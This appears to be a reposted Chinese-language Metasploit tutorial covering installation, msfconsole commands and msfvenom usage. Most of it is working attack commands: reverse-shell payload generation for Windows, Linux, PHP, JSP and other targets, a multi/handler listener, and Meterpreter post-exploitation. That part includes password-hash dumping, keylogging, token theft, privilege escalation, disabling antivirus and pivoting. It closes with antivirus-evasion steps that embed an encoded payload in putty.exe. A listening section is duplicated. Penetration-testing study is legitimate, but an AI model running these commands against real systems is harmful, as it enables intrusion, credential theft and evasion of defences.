Metasploit系列教程(一)-簡介和安裝


簡介

  Metasploit就是一個漏洞框架。它的全稱叫做The Metasploit Framework,簡稱叫做MSFMetasploit作為全球最受歡迎的工具,

  不僅僅是因為它的方便性和強大性,更重要的是它的框架。它允許使用者開發自己的漏洞腳本,從而進行測試。


0x01 安裝、基本操作

  kali Linux自帶Metasploit,直接使用命令msfconsole啟動即可

 

  windows 可安裝windows版本的msf,然后cmd啟動msfconsole (windows最新版本下載鏈接) 提取碼:x0y1

 

 

 2、建立搜索緩存(數據庫)

  啟動PostgreSQL數據庫服務:service postgresql start監聽5432端口

 

  初始化Metasploit數據庫:msfdb init

  查看數據庫聯接情況:msfconsole db_status

 

 建立數據庫緩存:msfconsole db_rebuild_cache

3、專業術語

– Exploit,攻擊工具/代碼 
– Payload,攻擊載荷 
– Shellcode 
– Module,模塊 
– Listener,監聽器

4、常用命令

show exploits – 查看所有可用的滲透攻擊程序代碼 
show auxiliary – 查看所有可用的輔助攻擊工具 
show options – 查看該模塊所有可用選項 
show payloads – 查看該模塊適用的所有載荷代碼 
show targets – 查看該模塊適用的攻擊目標類型
search – 根據關鍵字搜索某模塊 
info – 顯示某模塊的詳細信息 
use – 進入使用某滲透攻擊模塊 
back – 回退 
set/unset – 設置/禁用模塊中的某個參數 
setg/unsetg – 設置/禁用適用於所有模塊的全局參數 
save – 將當前設置值保存下來,以便下次啟動MSF終端時仍可使用

0x01 Metasploit功能程序

msfvenom(攻擊載荷生成和編碼器)

主要參數:
-p payload
-e 編碼方式
-i 編碼次數
-b 在生成的程序中避免出現的值
LHOST,LPORT 監聽上線的主機IP和端口
-f exe 生成EXE格式
使用msfvenom -l 可以查看可以利用payload
msfvenom -l | grep windows | grep x64 | grep tcp  選擇payload

1、生成可執行文件

Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Python:
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

2、監聽

set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false   讓connection保持連接(即使一個連接退出,仍然保持listening狀態)
exploit -j –z  -j(作為job開始運行)和-z(不立即進行session交換--也即是自動后台運行)

3、實例

set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false   讓connection保持連接(即使一個連接退出,仍然保持listening狀態)
exploit -j –z  -j(作為job開始運行)和-z(不立即進行session交換--也即是自動后台運行)

3、實例

msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=172.16.0.4 LPORT=443 -f exe > abc.exe

  開啟監聽

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > show options

msf exploit(handler) > set LHOST 172.16.0.4
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > exploit -j -z  
-j(計划任務下進行攻擊,后台) -z(攻擊完成不遇會話交互)
msf exploit(handler) > jobs  查看后台攻擊任務 
msf exploit(handler) > kill <id>  停止某后台攻擊任務 
msf exploit(handler) > sessions -l  (查看會話)

msf exploit(handler) > sessions -i 2   選擇會話
msf exploit(handler) > sessions -k 2   結束會話

0x02 Meterpreter后攻擊

Meterpreter提供的功能包括反追蹤、純內存工作模式、系統 信息獲取、密碼哈希導出、文件上傳下載、屏幕截取、鍵盤記 錄、權限提升、跳板攻擊等等

常用命令:

meterpreter > background  放回后台
meterpreter > exit  關閉會話
meterpreter > help  幫助信息
meterpreter > Sysinfo系統平台信息
meterpreter > screenshot  屏幕截取
meterpreter > shell  命令行shell (exit退出)
meterpreter > getlwd  查看本地目錄
meterpreter > lcd  切換本地目錄
meterpreter > getwd  查看目錄
meterpreter > ls 查看文件目錄列表
meterpreter > cd  切換目錄 
meterpreter > rm  刪除文件 
meterpreter > download C:\\Users\\123\\Desktop\\1.txt 1.txt 下載文件
meterpreter > upload /var/www/wce.exe wce.exe  上傳文件
meterpreter > search -d c:  -f *.doc  搜索文件
meterpreter > execute -f  cmd.exe -i   執行程序/命令 
meterpreter > ps  查看進程
meterpreter > run post/windows/capture/keylog_recorder   鍵盤記錄
meterpreter > getuid  查看當前用戶權限
meterpreter > use priv  加載特權模塊
meterpreter > getsystem  提升到SYSTEM權限
meterpreter > hashdump  導出密碼散列
meterpreter > ps   查看高權限用戶PID
meterpreter > steal_token <PID>  竊取令牌
meterpreter > rev2self  恢復原來的令牌 
meterpreter > migrate pid  遷移進程
meterpreter > run killav  關閉殺毒軟件 
meterpreter > run getgui-e  啟用遠程桌面
meterpreter > portfwd add -l 1234 -p 3389 -r <目標IP>  端口轉發
meterpreter > run get_local_subnets  獲取內網網段信息
meterpreter > run autoroute -s <內網網段>  創建自動路由
meterpreter > run autoroute -p  查看自動路由表
創建代理通道:
msf > use auxiliary/server/socks4a   設置socks4代理模塊
msf auxiliary(socks4a) > show options 
msf auxiliary(socks4a) > run
配置proxychains參數:
nano /etc/proxychains.conf   修改代理監聽端口,和前面端口一致
quite_mode  設置成安靜模式:去掉如下參數前面的注釋

0x03 免殺

1、多次編碼免殺

msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.80.12 LPORT=443 -e x86/shikata_ga_nai-i5 -f exe -o /var/www/html/reverse_http_encode.exe

2、自定義二進制代碼的文件模板免殺

使用“putty.exe”作為文件模板,而且隨着putty程序運行而隱蔽同時運行,還使用編碼器進行了編碼。

msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.80.12 LPORT=443 -e x86/shikata_ga_nai-i5 -x ~/putty.exe -k -f exe -o /var/www/html/reverse_http_putty.exe

3、使用Veil生成免殺代碼

下載地址:https://github.com/Veil-Framework/Veil

安裝使用教程:請看另一篇

4、使用venom生成免殺文件

下載地址:

安裝使用教程:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM